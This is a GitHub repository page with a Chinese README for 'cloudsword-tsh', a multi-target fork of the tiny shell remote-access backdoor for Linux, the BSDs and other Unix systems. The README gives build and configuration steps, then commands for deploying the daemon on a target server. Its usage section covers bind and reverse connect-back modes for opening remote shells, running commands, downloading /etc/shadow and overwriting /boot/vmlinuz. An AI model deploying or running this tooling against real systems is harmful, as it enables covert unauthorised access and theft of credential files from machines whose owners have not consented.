Skip to content

多用户版linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf的远控tiny shell

Notifications You must be signed in to change notification settings

yukar1z0e/cloudswordtsh

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

cloudsword-tsh

说明

tsh的多用户修改版。 基本使用方法与tsh相似,添加了多台机器区分上线的功能。

使用方式

修改tsh.h*secretSERVER_PORTCONNECT_BACK_HOST 正向连接时CONNECT_BACK_HOSTlocalhost 反向连接是CONNECT_BACK_HOST控制端服务器IP

1、执行make linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf,生成linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf版的tshd和tsh

2、tshd传至目标服务器,tsh为本机控制端

3、在目标服务器执行

umask 077; HOME=/var/tmp ./tshd

正向连接

1、开启shell

./tsh <目标服务器IP>

2、执行单条命令

./tsh <目标服务器IP> "uname -a"

3、上传/下载文件

./tsh <目标服务器IP> get /etc/shadow .
./tsh <目标服务器IP> put vmlinuz /boot

反向链接(多目标模式)

1、开启shell

./tsh bc-<目标服务器IP>

2、执行单条命令

./tsh bc-<目标服务器IP> "uname -a"

3、上传/下载文件

./tsh bc-<目标服务器IP> get /etc/shadow .
./tsh bc-<目标服务器IP> put vmlinuz /boot

About

多用户版linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf的远控tiny shell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published